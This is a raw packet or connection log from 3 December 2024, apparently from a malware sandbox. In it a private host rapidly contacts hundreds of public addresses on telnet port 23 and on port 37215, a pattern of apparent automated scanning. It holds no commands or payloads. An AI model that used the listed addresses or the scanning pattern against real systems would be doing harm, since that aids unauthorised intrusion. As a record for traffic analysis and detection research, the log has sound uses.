Dec 3, 2024 22:01:58.885185957 CET	40832	37215	192.168.2.14	156.65.147.54
Dec 3, 2024 22:01:58.885185957 CET	40832	37215	192.168.2.14	41.69.16.78
Dec 3, 2024 22:01:58.885185957 CET	40832	37215	192.168.2.14	197.60.45.95
Dec 3, 2024 22:01:58.885188103 CET	40832	37215	192.168.2.14	41.227.103.110
Dec 3, 2024 22:01:58.885188103 CET	40832	37215	192.168.2.14	197.210.56.81
Dec 3, 2024 22:01:58.885190964 CET	40832	37215	192.168.2.14	156.186.1.4
Dec 3, 2024 22:01:58.885190964 CET	40832	37215	192.168.2.14	156.138.161.71
Dec 3, 2024 22:01:58.885193110 CET	40832	37215	192.168.2.14	156.131.54.24
Dec 3, 2024 22:01:58.885193110 CET	40832	37215	192.168.2.14	41.235.209.140
Dec 3, 2024 22:01:58.885195971 CET	40832	37215	192.168.2.14	41.69.27.195
Dec 3, 2024 22:01:58.885199070 CET	40832	37215	192.168.2.14	156.166.26.64
Dec 3, 2024 22:01:58.885201931 CET	40832	37215	192.168.2.14	156.104.244.242
Dec 3, 2024 22:01:58.885202885 CET	40832	37215	192.168.2.14	41.91.3.64
Dec 3, 2024 22:01:58.978157043 CET	23	39808	88.1.244.236	192.168.2.14
Dec 3, 2024 22:01:58.978178024 CET	23	39808	152.130.184.112	192.168.2.14
Dec 3, 2024 22:01:58.978189945 CET	23	39808	38.95.229.27	192.168.2.14
Dec 3, 2024 22:01:58.978194952 CET	23	39808	195.12.82.65	192.168.2.14
Dec 3, 2024 22:01:58.978226900 CET	39808	23	192.168.2.14	88.1.244.236
Dec 3, 2024 22:01:58.978290081 CET	39808	23	192.168.2.14	38.95.229.27
Dec 3, 2024 22:01:58.978290081 CET	39808	23	192.168.2.14	152.130.184.112
Dec 3, 2024 22:01:58.978308916 CET	39808	23	192.168.2.14	195.12.82.65
Dec 3, 2024 22:01:58.979437113 CET	23	39808	146.246.97.147	192.168.2.14
Dec 3, 2024 22:01:58.979460001 CET	23	39808	62.127.238.207	192.168.2.14
Dec 3, 2024 22:01:58.979494095 CET	23	39808	169.230.214.202	192.168.2.14
Dec 3, 2024 22:01:58.979499102 CET	39808	23	192.168.2.14	146.246.97.147
Dec 3, 2024 22:01:58.979506969 CET	39808	23	192.168.2.14	62.127.238.207
Dec 3, 2024 22:01:58.979516983 CET	23	39808	183.133.218.53	192.168.2.14
Dec 3, 2024 22:01:58.979532003 CET	23	39808	111.124.134.147	192.168.2.14
Dec 3, 2024 22:01:58.979543924 CET	23	39808	153.239.148.152	192.168.2.14
Dec 3, 2024 22:01:58.979548931 CET	23	39808	142.204.29.122	192.168.2.14
Dec 3, 2024 22:01:58.979587078 CET	39808	23	192.168.2.14	183.133.218.53
Dec 3, 2024 22:01:58.979587078 CET	39808	23	192.168.2.14	153.239.148.152
Dec 3, 2024 22:01:58.979587078 CET	39808	23	192.168.2.14	142.204.29.122
Dec 3, 2024 22:01:58.979599953 CET	23	39808	124.91.80.190	192.168.2.14
Dec 3, 2024 22:01:58.979613066 CET	39808	23	192.168.2.14	111.124.134.147
Dec 3, 2024 22:01:58.979612112 CET	39808	23	192.168.2.14	169.230.214.202
Dec 3, 2024 22:01:58.979614019 CET	23	39808	23.168.68.119	192.168.2.14
Dec 3, 2024 22:01:58.979620934 CET	23	39808	91.95.42.207	192.168.2.14
Dec 3, 2024 22:01:58.979640007 CET	23	39808	191.131.165.43	192.168.2.14
Dec 3, 2024 22:01:58.979644060 CET	23	39808	116.72.17.172	192.168.2.14
Dec 3, 2024 22:01:58.979649067 CET	23	39808	93.62.255.42	192.168.2.14
Dec 3, 2024 22:01:58.979650021 CET	39808	23	192.168.2.14	124.91.80.190
Dec 3, 2024 22:01:58.979677916 CET	39808	23	192.168.2.14	91.95.42.207
Dec 3, 2024 22:01:58.979681969 CET	39808	23	192.168.2.14	23.168.68.119
Dec 3, 2024 22:01:58.979703903 CET	39808	23	192.168.2.14	116.72.17.172
Dec 3, 2024 22:01:58.979703903 CET	39808	23	192.168.2.14	93.62.255.42
Dec 3, 2024 22:01:58.979707956 CET	39808	23	192.168.2.14	191.131.165.43
Dec 3, 2024 22:01:58.979723930 CET	23	39808	106.220.223.130	192.168.2.14
Dec 3, 2024 22:01:58.979728937 CET	23	39808	216.171.242.91	192.168.2.14
Dec 3, 2024 22:01:58.979732990 CET	23	39808	117.232.217.238	192.168.2.14
Dec 3, 2024 22:01:58.979737997 CET	23	39808	170.83.21.69	192.168.2.14
Dec 3, 2024 22:01:58.979743004 CET	23	39808	142.4.6.117	192.168.2.14
Dec 3, 2024 22:01:58.979790926 CET	23	39808	145.138.75.228	192.168.2.14
Dec 3, 2024 22:01:58.979794025 CET	39808	23	192.168.2.14	216.171.242.91
Dec 3, 2024 22:01:58.979794979 CET	39808	23	192.168.2.14	142.4.6.117
Dec 3, 2024 22:01:58.979796886 CET	23	39808	144.205.131.206	192.168.2.14
Dec 3, 2024 22:01:58.979800940 CET	39808	23	192.168.2.14	117.232.217.238
Dec 3, 2024 22:01:58.979800940 CET	39808	23	192.168.2.14	170.83.21.69
Dec 3, 2024 22:01:58.979801893 CET	23	39808	222.27.97.29	192.168.2.14
Dec 3, 2024 22:01:58.979815006 CET	23	39808	172.197.116.177	192.168.2.14
Dec 3, 2024 22:01:58.979815960 CET	23	39808	64.89.201.49	192.168.2.14
Dec 3, 2024 22:01:58.979819059 CET	39808	23	192.168.2.14	106.220.223.130
Dec 3, 2024 22:01:58.979819059 CET	23	39808	202.204.33.118	192.168.2.14
Dec 3, 2024 22:01:58.979826927 CET	39808	23	192.168.2.14	145.138.75.228
Dec 3, 2024 22:01:58.979845047 CET	23	39808	92.168.196.91	192.168.2.14
Dec 3, 2024 22:01:58.979847908 CET	39808	23	192.168.2.14	144.205.131.206
Dec 3, 2024 22:01:58.979850054 CET	23	39808	186.180.107.59	192.168.2.14
Dec 3, 2024 22:01:58.979851007 CET	39808	23	192.168.2.14	222.27.97.29
Dec 3, 2024 22:01:58.979855061 CET	23	39808	99.10.90.130	192.168.2.14
Dec 3, 2024 22:01:58.979877949 CET	39808	23	192.168.2.14	172.197.116.177
Dec 3, 2024 22:01:58.979887962 CET	39808	23	192.168.2.14	64.89.201.49
Dec 3, 2024 22:01:58.979887962 CET	39808	23	192.168.2.14	186.180.107.59
Dec 3, 2024 22:01:58.979893923 CET	39808	23	192.168.2.14	202.204.33.118
Dec 3, 2024 22:01:58.979911089 CET	23	39808	125.131.122.4	192.168.2.14
Dec 3, 2024 22:01:58.979916096 CET	23	39808	131.130.141.24	192.168.2.14
Dec 3, 2024 22:01:58.979919910 CET	23	39808	186.166.60.155	192.168.2.14
Dec 3, 2024 22:01:58.979927063 CET	39808	23	192.168.2.14	99.10.90.130
Dec 3, 2024 22:01:58.979929924 CET	39808	23	192.168.2.14	92.168.196.91
Dec 3, 2024 22:01:58.979948044 CET	23	39808	173.153.246.57	192.168.2.14
Dec 3, 2024 22:01:58.979953051 CET	23	39808	126.59.182.188	192.168.2.14
Dec 3, 2024 22:01:58.979960918 CET	39808	23	192.168.2.14	131.130.141.24
Dec 3, 2024 22:01:58.979976892 CET	23	39808	204.34.41.59	192.168.2.14
Dec 3, 2024 22:01:58.979978085 CET	39808	23	192.168.2.14	125.131.122.4
Dec 3, 2024 22:01:58.979983091 CET	39808	23	192.168.2.14	186.166.60.155
Dec 3, 2024 22:01:58.979989052 CET	39808	23	192.168.2.14	173.153.246.57
Dec 3, 2024 22:01:58.980016947 CET	39808	23	192.168.2.14	126.59.182.188
Dec 3, 2024 22:01:58.980017900 CET	23	39808	78.199.132.226	192.168.2.14
Dec 3, 2024 22:01:58.980024099 CET	23	39808	150.128.241.217	192.168.2.14
Dec 3, 2024 22:01:58.980026007 CET	39808	23	192.168.2.14	204.34.41.59
Dec 3, 2024 22:01:58.980063915 CET	39808	23	192.168.2.14	78.199.132.226
Dec 3, 2024 22:01:58.980070114 CET	39808	23	192.168.2.14	150.128.241.217
Dec 3, 2024 22:01:58.980091095 CET	23	39808	124.125.217.192	192.168.2.14
Dec 3, 2024 22:01:58.980097055 CET	23	39808	142.82.141.39	192.168.2.14
Dec 3, 2024 22:01:58.980118036 CET	23	39808	135.158.40.44	192.168.2.14
Dec 3, 2024 22:01:58.980149984 CET	39808	23	192.168.2.14	124.125.217.192
Dec 3, 2024 22:01:58.980174065 CET	39808	23	192.168.2.14	142.82.141.39
Dec 3, 2024 22:01:58.980175972 CET	39808	23	192.168.2.14	135.158.40.44
Dec 3, 2024 22:01:58.980194092 CET	23	39808	105.78.41.251	192.168.2.14
Dec 3, 2024 22:01:58.980199099 CET	23	39808	185.90.64.95	192.168.2.14
Dec 3, 2024 22:01:58.980202913 CET	23	39808	104.205.13.56	192.168.2.14
Dec 3, 2024 22:01:58.980207920 CET	23	39808	51.248.95.215	192.168.2.14
Dec 3, 2024 22:01:58.980242968 CET	39808	23	192.168.2.14	105.78.41.251
Dec 3, 2024 22:01:58.980256081 CET	39808	23	192.168.2.14	185.90.64.95
Dec 3, 2024 22:01:58.980257988 CET	39808	23	192.168.2.14	104.205.13.56
Dec 3, 2024 22:01:58.980257988 CET	39808	23	192.168.2.14	51.248.95.215
Dec 3, 2024 22:01:58.980266094 CET	23	39808	99.224.130.56	192.168.2.14
Dec 3, 2024 22:01:58.980427027 CET	39808	23	192.168.2.14	99.224.130.56
Dec 3, 2024 22:01:58.980921030 CET	23	39808	103.195.67.99	192.168.2.14
Dec 3, 2024 22:01:58.980959892 CET	23	39808	35.218.10.41	192.168.2.14
Dec 3, 2024 22:01:58.980998039 CET	39808	23	192.168.2.14	35.218.10.41
Dec 3, 2024 22:01:58.981004953 CET	39808	23	192.168.2.14	103.195.67.99
Dec 3, 2024 22:01:58.981046915 CET	23	39808	14.185.187.172	192.168.2.14
Dec 3, 2024 22:01:58.981050968 CET	23	39808	47.125.46.175	192.168.2.14
Dec 3, 2024 22:01:58.981056929 CET	23	39808	192.56.147.243	192.168.2.14
Dec 3, 2024 22:01:58.981079102 CET	23	39808	97.131.167.155	192.168.2.14
Dec 3, 2024 22:01:58.981082916 CET	39808	23	192.168.2.14	14.185.187.172
Dec 3, 2024 22:01:58.981092930 CET	39808	23	192.168.2.14	47.125.46.175
Dec 3, 2024 22:01:58.981095076 CET	39808	23	192.168.2.14	192.56.147.243
Dec 3, 2024 22:01:58.981113911 CET	39808	23	192.168.2.14	97.131.167.155
Dec 3, 2024 22:01:58.981170893 CET	23	39808	220.47.201.255	192.168.2.14
Dec 3, 2024 22:01:58.981214046 CET	39808	23	192.168.2.14	220.47.201.255
Dec 3, 2024 22:01:58.981225014 CET	23	39808	130.13.243.10	192.168.2.14
Dec 3, 2024 22:01:58.981231928 CET	23	39808	213.143.113.39	192.168.2.14
Dec 3, 2024 22:01:58.981290102 CET	23	39808	68.237.87.85	192.168.2.14
Dec 3, 2024 22:01:58.981296062 CET	39808	23	192.168.2.14	130.13.243.10
Dec 3, 2024 22:01:58.981296062 CET	39808	23	192.168.2.14	213.143.113.39
Dec 3, 2024 22:01:58.981328011 CET	23	39808	205.124.245.223	192.168.2.14
Dec 3, 2024 22:01:58.981333971 CET	23	39808	196.99.72.209	192.168.2.14
Dec 3, 2024 22:01:58.981391907 CET	39808	23	192.168.2.14	68.237.87.85
Dec 3, 2024 22:01:58.981393099 CET	39808	23	192.168.2.14	196.99.72.209
Dec 3, 2024 22:01:58.981414080 CET	23	39808	208.217.159.131	192.168.2.14
Dec 3, 2024 22:01:58.981420040 CET	23	39808	171.27.175.79	192.168.2.14
Dec 3, 2024 22:01:58.981425047 CET	23	39808	222.2.232.32	192.168.2.14
Dec 3, 2024 22:01:58.981434107 CET	23	39808	106.77.235.132	192.168.2.14
Dec 3, 2024 22:01:58.981437922 CET	23	39808	73.243.173.96	192.168.2.14
Dec 3, 2024 22:01:58.981458902 CET	39808	23	192.168.2.14	205.124.245.223
Dec 3, 2024 22:01:58.981472015 CET	39808	23	192.168.2.14	222.2.232.32
Dec 3, 2024 22:01:58.981477022 CET	39808	23	192.168.2.14	171.27.175.79
Dec 3, 2024 22:01:58.981487989 CET	39808	23	192.168.2.14	208.217.159.131
Dec 3, 2024 22:01:58.981496096 CET	39808	23	192.168.2.14	106.77.235.132
Dec 3, 2024 22:01:58.981497049 CET	39808	23	192.168.2.14	73.243.173.96
Dec 3, 2024 22:01:58.981605053 CET	23	39808	2.129.173.157	192.168.2.14
Dec 3, 2024 22:01:58.981610060 CET	23	39808	82.254.136.27	192.168.2.14
Dec 3, 2024 22:01:58.981614113 CET	23	39808	43.23.99.86	192.168.2.14
Dec 3, 2024 22:01:58.981622934 CET	23	39808	117.233.67.169	192.168.2.14
Dec 3, 2024 22:01:58.981626987 CET	23	39808	188.253.112.75	192.168.2.14
Dec 3, 2024 22:01:58.981635094 CET	23	39808	20.14.204.126	192.168.2.14
Dec 3, 2024 22:01:58.981638908 CET	23	39808	155.50.45.18	192.168.2.14
Dec 3, 2024 22:01:58.981643915 CET	23	39808	14.153.65.202	192.168.2.14
Dec 3, 2024 22:01:58.981652975 CET	23	39808	1.239.101.179	192.168.2.14
Dec 3, 2024 22:01:58.981657028 CET	23	39808	162.46.218.176	192.168.2.14
Dec 3, 2024 22:01:58.981657982 CET	39808	23	192.168.2.14	82.254.136.27
Dec 3, 2024 22:01:58.981662035 CET	23	39808	156.240.185.219	192.168.2.14
Dec 3, 2024 22:01:58.981662989 CET	39808	23	192.168.2.14	43.23.99.86
Dec 3, 2024 22:01:58.981671095 CET	39808	23	192.168.2.14	2.129.173.157
Dec 3, 2024 22:01:58.981681108 CET	39808	23	192.168.2.14	117.233.67.169
Dec 3, 2024 22:01:58.981683016 CET	39808	23	192.168.2.14	188.253.112.75
Dec 3, 2024 22:01:58.981693983 CET	39808	23	192.168.2.14	20.14.204.126
Dec 3, 2024 22:01:58.981697083 CET	39808	23	192.168.2.14	14.153.65.202
Dec 3, 2024 22:01:58.981697083 CET	39808	23	192.168.2.14	1.239.101.179
Dec 3, 2024 22:01:58.981702089 CET	39808	23	192.168.2.14	155.50.45.18
Dec 3, 2024 22:01:58.981702089 CET	39808	23	192.168.2.14	162.46.218.176
Dec 3, 2024 22:01:58.981734991 CET	39808	23	192.168.2.14	156.240.185.219
Dec 3, 2024 22:01:58.982335091 CET	23	39808	67.180.98.243	192.168.2.14
Dec 3, 2024 22:01:58.982338905 CET	23	39808	126.148.132.253	192.168.2.14
Dec 3, 2024 22:01:58.982382059 CET	23	39808	52.91.151.172	192.168.2.14
Dec 3, 2024 22:01:58.982387066 CET	23	39808	108.112.212.96	192.168.2.14
Dec 3, 2024 22:01:58.982391119 CET	23	39808	67.40.245.225	192.168.2.14
Dec 3, 2024 22:01:58.982398987 CET	23	39808	47.248.152.173	192.168.2.14
Dec 3, 2024 22:01:58.982414961 CET	23	39808	201.129.88.31	192.168.2.14
Dec 3, 2024 22:01:58.982419014 CET	39808	23	192.168.2.14	67.180.98.243
Dec 3, 2024 22:01:58.982419014 CET	39808	23	192.168.2.14	126.148.132.253
Dec 3, 2024 22:01:58.982419014 CET	39808	23	192.168.2.14	52.91.151.172
Dec 3, 2024 22:01:58.982441902 CET	39808	23	192.168.2.14	47.248.152.173
Dec 3, 2024 22:01:58.982443094 CET	39808	23	192.168.2.14	67.40.245.225
Dec 3, 2024 22:01:58.982443094 CET	39808	23	192.168.2.14	201.129.88.31
Dec 3, 2024 22:01:58.982459068 CET	23	39808	170.91.216.174	192.168.2.14
Dec 3, 2024 22:01:58.982467890 CET	23	39808	95.227.78.135	192.168.2.14
Dec 3, 2024 22:01:58.982471943 CET	23	39808	89.194.108.25	192.168.2.14
Dec 3, 2024 22:01:58.982479095 CET	39808	23	192.168.2.14	108.112.212.96
Dec 3, 2024 22:01:58.982487917 CET	23	39808	88.107.175.7	192.168.2.14
Dec 3, 2024 22:01:58.982511044 CET	39808	23	192.168.2.14	170.91.216.174
Dec 3, 2024 22:01:58.982512951 CET	39808	23	192.168.2.14	95.227.78.135
Dec 3, 2024 22:01:58.982520103 CET	23	39808	136.143.136.35	192.168.2.14
Dec 3, 2024 22:01:58.982522964 CET	39808	23	192.168.2.14	89.194.108.25
Dec 3, 2024 22:01:58.982538939 CET	23	39808	40.155.128.115	192.168.2.14
Dec 3, 2024 22:01:58.982549906 CET	23	39808	154.202.115.241	192.168.2.14
Dec 3, 2024 22:01:58.982556105 CET	23	39808	210.27.29.242	192.168.2.14
Dec 3, 2024 22:01:58.982564926 CET	23	39808	128.204.216.196	192.168.2.14
Dec 3, 2024 22:01:58.982598066 CET	39808	23	192.168.2.14	128.204.216.196
Dec 3, 2024 22:01:58.982599020 CET	39808	23	192.168.2.14	88.107.175.7
Dec 3, 2024 22:01:58.982599020 CET	39808	23	192.168.2.14	154.202.115.241
Dec 3, 2024 22:01:58.982600927 CET	39808	23	192.168.2.14	136.143.136.35
Dec 3, 2024 22:01:58.982619047 CET	39808	23	192.168.2.14	40.155.128.115
Dec 3, 2024 22:01:58.982621908 CET	39808	23	192.168.2.14	210.27.29.242
Dec 3, 2024 22:01:58.982625961 CET	23	39808	169.39.219.20	192.168.2.14
Dec 3, 2024 22:01:58.982630968 CET	23	39808	138.63.176.196	192.168.2.14
Dec 3, 2024 22:01:58.982655048 CET	23	39808	150.189.201.33	192.168.2.14
Dec 3, 2024 22:01:58.982660055 CET	23	39808	112.149.250.58	192.168.2.14
Dec 3, 2024 22:01:58.982673883 CET	39808	23	192.168.2.14	169.39.219.20
Dec 3, 2024 22:01:58.982681990 CET	39808	23	192.168.2.14	138.63.176.196
Dec 3, 2024 22:01:58.982696056 CET	39808	23	192.168.2.14	112.149.250.58
Dec 3, 2024 22:01:58.982698917 CET	39808	23	192.168.2.14	150.189.201.33
Dec 3, 2024 22:01:58.982728004 CET	23	39808	95.217.197.176	192.168.2.14
Dec 3, 2024 22:01:58.982733011 CET	23	39808	155.9.222.129	192.168.2.14
Dec 3, 2024 22:01:58.982738018 CET	23	39808	51.55.108.93	192.168.2.14
Dec 3, 2024 22:01:58.982747078 CET	23	39808	103.187.236.218	192.168.2.14
Dec 3, 2024 22:01:58.982752085 CET	23	39808	183.133.78.128	192.168.2.14
Dec 3, 2024 22:01:58.982791901 CET	23	39808	105.193.226.247	192.168.2.14
Dec 3, 2024 22:01:58.982793093 CET	39808	23	192.168.2.14	51.55.108.93
Dec 3, 2024 22:01:58.982793093 CET	39808	23	192.168.2.14	95.217.197.176
Dec 3, 2024 22:01:58.982794046 CET	39808	23	192.168.2.14	183.133.78.128
Dec 3, 2024 22:01:58.982798100 CET	23	39808	77.127.129.156	192.168.2.14
Dec 3, 2024 22:01:58.982805014 CET	39808	23	192.168.2.14	103.187.236.218
Dec 3, 2024 22:01:58.982805967 CET	39808	23	192.168.2.14	155.9.222.129
Dec 3, 2024 22:01:58.982805967 CET	23	39808	35.238.28.102	192.168.2.14
Dec 3, 2024 22:01:58.982836008 CET	39808	23	192.168.2.14	105.193.226.247
Dec 3, 2024 22:01:58.982836008 CET	39808	23	192.168.2.14	35.238.28.102
Dec 3, 2024 22:01:58.982835054 CET	39808	23	192.168.2.14	77.127.129.156
Dec 3, 2024 22:01:58.983645916 CET	23	39808	151.1.115.138	192.168.2.14
Dec 3, 2024 22:01:58.983664036 CET	23	39808	184.164.106.155	192.168.2.14
Dec 3, 2024 22:01:58.983676910 CET	39808	23	192.168.2.14	151.1.115.138
Dec 3, 2024 22:01:58.983696938 CET	23	39808	141.237.89.40	192.168.2.14
Dec 3, 2024 22:01:58.983728886 CET	23	39808	66.41.182.126	192.168.2.14
Dec 3, 2024 22:01:58.983741999 CET	39808	23	192.168.2.14	184.164.106.155
Dec 3, 2024 22:01:58.983750105 CET	39808	23	192.168.2.14	141.237.89.40
Dec 3, 2024 22:01:58.983761072 CET	23	39808	66.159.122.149	192.168.2.14
Dec 3, 2024 22:01:58.983767033 CET	23	39808	174.251.211.233	192.168.2.14
Dec 3, 2024 22:01:58.983773947 CET	39808	23	192.168.2.14	66.41.182.126
Dec 3, 2024 22:01:58.983800888 CET	39808	23	192.168.2.14	174.251.211.233
Dec 3, 2024 22:01:58.983802080 CET	39808	23	192.168.2.14	66.159.122.149
Dec 3, 2024 22:01:58.983803034 CET	23	39808	42.247.151.66	192.168.2.14
Dec 3, 2024 22:01:58.983819962 CET	23	39808	54.158.155.223	192.168.2.14
Dec 3, 2024 22:01:58.983827114 CET	23	39808	9.54.58.230	192.168.2.14
Dec 3, 2024 22:01:58.983855009 CET	23	39808	58.68.212.76	192.168.2.14
Dec 3, 2024 22:01:58.983871937 CET	39808	23	192.168.2.14	54.158.155.223
Dec 3, 2024 22:01:58.983871937 CET	39808	23	192.168.2.14	9.54.58.230
Dec 3, 2024 22:01:58.983901978 CET	23	39808	67.157.218.251	192.168.2.14
Dec 3, 2024 22:01:58.983903885 CET	39808	23	192.168.2.14	58.68.212.76
Dec 3, 2024 22:01:58.983932018 CET	39808	23	192.168.2.14	42.247.151.66
Dec 3, 2024 22:01:58.983937979 CET	39808	23	192.168.2.14	67.157.218.251
Dec 3, 2024 22:01:58.983952999 CET	23	39808	66.105.114.252	192.168.2.14
Dec 3, 2024 22:01:58.983990908 CET	23	39808	131.222.167.83	192.168.2.14
Dec 3, 2024 22:01:58.984003067 CET	23	39808	65.156.165.52	192.168.2.14
Dec 3, 2024 22:01:58.984005928 CET	39808	23	192.168.2.14	66.105.114.252
Dec 3, 2024 22:01:58.984040976 CET	23	39808	58.224.40.169	192.168.2.14
Dec 3, 2024 22:01:58.984045029 CET	23	39808	37.212.138.113	192.168.2.14
Dec 3, 2024 22:01:58.984070063 CET	23	39808	201.184.28.151	192.168.2.14
Dec 3, 2024 22:01:58.984086037 CET	39808	23	192.168.2.14	131.222.167.83
Dec 3, 2024 22:01:58.984086990 CET	39808	23	192.168.2.14	65.156.165.52
Dec 3, 2024 22:01:58.984088898 CET	39808	23	192.168.2.14	37.212.138.113
Dec 3, 2024 22:01:58.984091043 CET	23	39808	73.157.83.254	192.168.2.14
Dec 3, 2024 22:01:58.984106064 CET	39808	23	192.168.2.14	201.184.28.151
Dec 3, 2024 22:01:58.984149933 CET	39808	23	192.168.2.14	58.224.40.169
Dec 3, 2024 22:01:58.984149933 CET	39808	23	192.168.2.14	73.157.83.254
Dec 3, 2024 22:01:58.984183073 CET	23	39808	128.234.5.170	192.168.2.14
Dec 3, 2024 22:01:58.984189034 CET	23	39808	129.248.163.28	192.168.2.14
Dec 3, 2024 22:01:58.984194994 CET	23	39808	47.157.204.200	192.168.2.14
Dec 3, 2024 22:01:58.984210968 CET	23	39808	106.25.214.81	192.168.2.14
Dec 3, 2024 22:01:58.984215975 CET	23	39808	153.135.122.232	192.168.2.14
Dec 3, 2024 22:01:58.984222889 CET	39808	23	192.168.2.14	128.234.5.170
Dec 3, 2024 22:01:58.984222889 CET	39808	23	192.168.2.14	129.248.163.28
Dec 3, 2024 22:01:58.984232903 CET	39808	23	192.168.2.14	47.157.204.200
Dec 3, 2024 22:01:58.984252930 CET	23	39808	66.203.169.117	192.168.2.14
Dec 3, 2024 22:01:58.984265089 CET	23	39808	148.220.253.39	192.168.2.14
Dec 3, 2024 22:01:58.984282970 CET	39808	23	192.168.2.14	153.135.122.232
Dec 3, 2024 22:01:58.984283924 CET	39808	23	192.168.2.14	66.203.169.117
Dec 3, 2024 22:01:58.984287024 CET	39808	23	192.168.2.14	106.25.214.81
Dec 3, 2024 22:01:58.984304905 CET	39808	23	192.168.2.14	148.220.253.39
Dec 3, 2024 22:01:58.984313965 CET	23	39808	169.214.15.67	192.168.2.14
Dec 3, 2024 22:01:58.984344006 CET	23	39808	184.94.60.178	192.168.2.14
Dec 3, 2024 22:01:58.984354019 CET	39808	23	192.168.2.14	169.214.15.67
Dec 3, 2024 22:01:58.984386921 CET	23	39808	144.133.229.210	192.168.2.14
Dec 3, 2024 22:01:58.984414101 CET	39808	23	192.168.2.14	184.94.60.178
Dec 3, 2024 22:01:58.984425068 CET	39808	23	192.168.2.14	144.133.229.210
Dec 3, 2024 22:01:58.985394001 CET	23	39808	68.209.170.218	192.168.2.14
Dec 3, 2024 22:01:58.985399008 CET	23	39808	131.254.28.120	192.168.2.14
Dec 3, 2024 22:01:58.985424995 CET	23	39808	193.127.42.29	192.168.2.14
Dec 3, 2024 22:01:58.985450029 CET	39808	23	192.168.2.14	131.254.28.120
Dec 3, 2024 22:01:58.985452890 CET	39808	23	192.168.2.14	68.209.170.218
Dec 3, 2024 22:01:58.985455036 CET	39808	23	192.168.2.14	193.127.42.29
Dec 3, 2024 22:01:58.985481977 CET	23	39808	14.216.223.240	192.168.2.14
Dec 3, 2024 22:01:58.985486984 CET	23	39808	207.128.239.144	192.168.2.14
Dec 3, 2024 22:01:58.985491991 CET	23	39808	63.18.122.208	192.168.2.14
Dec 3, 2024 22:01:58.985503912 CET	23	39808	12.150.197.151	192.168.2.14
Dec 3, 2024 22:01:58.985518932 CET	23	39808	23.56.15.139	192.168.2.14
Dec 3, 2024 22:01:58.985522985 CET	23	39808	69.212.203.34	192.168.2.14
Dec 3, 2024 22:01:58.985527992 CET	23	39808	190.102.204.218	192.168.2.14
Dec 3, 2024 22:01:58.985531092 CET	23	39808	24.2.194.115	192.168.2.14
Dec 3, 2024 22:01:58.985553026 CET	39808	23	192.168.2.14	63.18.122.208
Dec 3, 2024 22:01:58.985553980 CET	39808	23	192.168.2.14	12.150.197.151
Dec 3, 2024 22:01:58.985553980 CET	23	39808	212.8.7.232	192.168.2.14
Dec 3, 2024 22:01:58.985553980 CET	39808	23	192.168.2.14	207.128.239.144
Dec 3, 2024 22:01:58.985563040 CET	39808	23	192.168.2.14	69.212.203.34
Dec 3, 2024 22:01:58.985574007 CET	23	39808	85.139.247.50	192.168.2.14
Dec 3, 2024 22:01:58.985574961 CET	39808	23	192.168.2.14	23.56.15.139
Dec 3, 2024 22:01:58.985588074 CET	39808	23	192.168.2.14	190.102.204.218
Dec 3, 2024 22:01:58.985588074 CET	39808	23	192.168.2.14	24.2.194.115
Dec 3, 2024 22:01:58.985601902 CET	39808	23	192.168.2.14	212.8.7.232
Dec 3, 2024 22:01:58.985604048 CET	39808	23	192.168.2.14	14.216.223.240
Dec 3, 2024 22:01:58.985610962 CET	23	39808	57.84.87.116	192.168.2.14
Dec 3, 2024 22:01:58.985627890 CET	39808	23	192.168.2.14	85.139.247.50
Dec 3, 2024 22:01:58.985644102 CET	23	39808	108.110.95.206	192.168.2.14
Dec 3, 2024 22:01:58.985647917 CET	23	39808	152.190.164.185	192.168.2.14
Dec 3, 2024 22:01:58.985651970 CET	39808	23	192.168.2.14	57.84.87.116
Dec 3, 2024 22:01:58.985688925 CET	39808	23	192.168.2.14	108.110.95.206
Dec 3, 2024 22:01:58.985701084 CET	23	39808	63.217.218.97	192.168.2.14
Dec 3, 2024 22:01:58.985703945 CET	39808	23	192.168.2.14	152.190.164.185
Dec 3, 2024 22:01:58.985706091 CET	23	39808	88.77.193.29	192.168.2.14
Dec 3, 2024 22:01:58.985726118 CET	23	39808	99.107.230.202	192.168.2.14
Dec 3, 2024 22:01:58.985730886 CET	23	39808	34.70.186.88	192.168.2.14
Dec 3, 2024 22:01:58.985752106 CET	23	39808	1.123.233.106	192.168.2.14
Dec 3, 2024 22:01:58.985763073 CET	39808	23	192.168.2.14	88.77.193.29
Dec 3, 2024 22:01:58.985763073 CET	39808	23	192.168.2.14	63.217.218.97
Dec 3, 2024 22:01:58.985779047 CET	39808	23	192.168.2.14	99.107.230.202
Dec 3, 2024 22:01:58.985779047 CET	39808	23	192.168.2.14	34.70.186.88
Dec 3, 2024 22:01:58.985780954 CET	39808	23	192.168.2.14	1.123.233.106
Dec 3, 2024 22:01:58.985794067 CET	23	39808	89.241.1.169	192.168.2.14
Dec 3, 2024 22:01:58.985809088 CET	23	39808	208.147.56.45	192.168.2.14
Dec 3, 2024 22:01:58.985814095 CET	23	39808	19.245.163.221	192.168.2.14
Dec 3, 2024 22:01:58.985838890 CET	23	39808	211.203.16.142	192.168.2.14
Dec 3, 2024 22:01:58.985843897 CET	23	39808	50.169.140.7	192.168.2.14
Dec 3, 2024 22:01:58.985842943 CET	39808	23	192.168.2.14	89.241.1.169
Dec 3, 2024 22:01:58.985843897 CET	39808	23	192.168.2.14	208.147.56.45
Dec 3, 2024 22:01:58.985878944 CET	23	39808	185.168.209.204	192.168.2.14
Dec 3, 2024 22:01:58.985882998 CET	39808	23	192.168.2.14	211.203.16.142
Dec 3, 2024 22:01:58.985884905 CET	23	39808	200.100.48.51	192.168.2.14
Dec 3, 2024 22:01:58.985939026 CET	39808	23	192.168.2.14	50.169.140.7
Dec 3, 2024 22:01:58.985939980 CET	39808	23	192.168.2.14	185.168.209.204
Dec 3, 2024 22:01:58.985945940 CET	39808	23	192.168.2.14	200.100.48.51
Dec 3, 2024 22:01:58.985960960 CET	39808	23	192.168.2.14	19.245.163.221
Dec 3, 2024 22:01:58.986604929 CET	23	39808	51.174.128.211	192.168.2.14
Dec 3, 2024 22:01:58.986609936 CET	23	39808	66.205.201.33	192.168.2.14
Dec 3, 2024 22:01:58.986638069 CET	23	39808	192.105.201.190	192.168.2.14
Dec 3, 2024 22:01:58.986641884 CET	23	39808	115.235.8.185	192.168.2.14
Dec 3, 2024 22:01:58.986660957 CET	23	39808	99.226.62.27	192.168.2.14
Dec 3, 2024 22:01:58.986665964 CET	23	39808	141.210.26.6	192.168.2.14
Dec 3, 2024 22:01:58.986670017 CET	23	39808	143.90.166.243	192.168.2.14
Dec 3, 2024 22:01:58.986671925 CET	39808	23	192.168.2.14	51.174.128.211
Dec 3, 2024 22:01:58.986675978 CET	39808	23	192.168.2.14	66.205.201.33
